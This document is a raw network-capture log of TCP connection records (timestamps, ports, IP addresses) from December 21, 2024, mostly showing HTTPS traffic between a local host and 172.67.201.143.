Dec 21, 2024 19:23:00.131542921 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.131566048 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.131732941 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.131757975 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.131901026 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.131908894 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.132055998 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.132200956 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.132385969 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.132548094 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.132689953 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.132729053 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.132754087 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.132863045 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.132888079 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.132894993 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.133032084 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.133435965 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.133608103 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.133608103 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.133635998 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.254518986 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.254796982 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.256094933 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.256381989 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.256393909 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.256434917 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.256592035 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.256623983 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.256877899 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.257086992 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.257098913 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.257761955 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.257936954 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.257977009 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.258567095 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.258802891 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.259145975 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.259351969 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.259594917 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.259757042 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.260148048 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.260339975 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.260646105 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.261059999 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.261135101 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.261146069 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.261223078 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.261380911 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.261707067 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.261888027 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.261974096 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.262154102 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.262310982 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.262310982 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.262357950 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.262937069 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.263102055 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.263102055 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.263670921 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.263875008 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.264134884 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.264302969 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.384653091 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.384877920 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.384927034 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.384958029 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.385240078 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.385927916 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.386171103 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.386265993 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.386467934 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.386491060 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.386516094 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.386704922 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.387331963 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.387557030 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.387912035 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.388108969 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.388109922 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.388501883 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.388725042 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.389503002 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.389761925 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.389806032 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.389969110 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.389969110 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.390399933 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.390567064 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.390567064 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.390600920 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.390949011 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.391135931 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.391135931 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.391135931 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.391634941 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.391843081 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.392023087 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.392271996 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.392579079 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.392740965 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.392894030 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.393213987 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.393413067 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.393413067 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.393558979 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.393711090 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.393711090 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.393740892 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.394315004 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.394476891 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.394476891 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.394634008 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.394782066 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.394782066 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.394825935 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.395538092 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.395747900 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.396177053 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.396348000 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.396600962 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.396600962 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.396632910 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.396979094 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.397138119 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.397375107 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.398720026 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.398735046 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.398960114 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.398960114 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.398969889 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.398999929 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.399159908 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.401545048 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.401593924 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.401734114 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.401735067 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.401735067 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.401735067 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.401735067 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.401735067 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.401779890 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.401804924 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.401804924 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.401804924 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.401804924 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.401973009 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.403429985 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.403465033 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.403604031 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.403604984 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.403641939 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.403758049 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.403789043 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.403959036 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.405925989 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.405960083 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.406086922 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.406086922 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.406128883 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.406128883 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.406128883 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.406128883 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.406130075 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.406155109 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.406177998 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.406177998 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.406227112 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.406358957 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.408104897 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.408139944 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.408293962 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.408293962 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.408333063 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.408333063 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.408354044 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.408384085 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.408521891 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.410784960 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.410825014 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.410975933 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.410975933 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.411014080 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.411014080 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.411014080 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.411036015 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.411077023 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.411173105 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.412892103 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.412926912 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.413091898 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.413091898 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.413129091 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.413201094 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.413220882 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.413366079 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.527690887 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.527726889 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.528024912 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.528069019 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.528354883 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.528897047 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.528932095 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.529437065 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.529437065 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.529437065 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.529470921 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.529768944 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.529845953 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.529875040 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.530073881 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.530105114 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.530164957 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.530332088 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.530956030 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.530991077 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.531130075 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.531130075 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.531130075 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.531130075 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.531171083 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.531171083 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.531171083 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.531171083 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.531192064 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.531213999 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.531214952 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.531265974 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.531366110 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.532964945 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.532999992 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.533121109 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.533121109 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.533181906 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.533183098 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.533183098 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.533183098 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.533205986 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.533273935 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.533344030 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.533981085 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.534017086 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.534205914 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.534243107 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.534264088 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.534406900 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.535265923 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.535319090 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.535454988 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.535454988 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.535454988 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.535454988 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.535454988 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.535499096 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.535516024 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.535567045 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.535655975 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.536684990 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.536736012 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.536916018 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.536956072 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.536974907 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.537023067 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.537111998 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.538494110 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.538546085 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.538724899 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.538757086 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.538786888 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.538893938 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.539940119 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.539992094 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.540180922 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.540210962 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.540271044 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.540435076 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.542099953 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.542151928 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.542274952 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.542274952 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.542313099 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.542325020 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.542325974 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.542325974 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.542325974 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.542409897 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.542490005 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.544728041 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.544773102 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.545031071 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.545031071 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.545063972 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.545226097 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.546520948 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.546611071 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.546646118 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:00.546689034 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.546689034 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.546731949 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.546731949 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.546813965 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.546813965 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.546814919 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.546864986 CET	49742	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:00.546889067 CET	443	49742	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:01.323829889 CET	49707	443	192.168.11.20	23.50.112.19
Dec 21, 2024 19:23:01.323870897 CET	49679	80	192.168.11.20	192.229.211.108
Dec 21, 2024 19:23:03.467546940 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:03.467569113 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:03.467700005 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:03.472620964 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:03.472632885 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:03.745716095 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:03.746028900 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:03.747844934 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:03.747865915 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:03.748231888 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:03.752408028 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:03.794214010 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.365976095 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.366271973 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.366290092 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.366442919 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.366492987 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.366527081 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.366537094 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.366687059 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.366923094 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.367264032 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.367264032 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.367274046 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.416832924 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.489531994 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.511214972 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.511449099 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.511462927 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.511482954 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.511492968 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:04.511666059 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:04.511749983 CET	443	49743	172.67.201.143	192.168.11.20
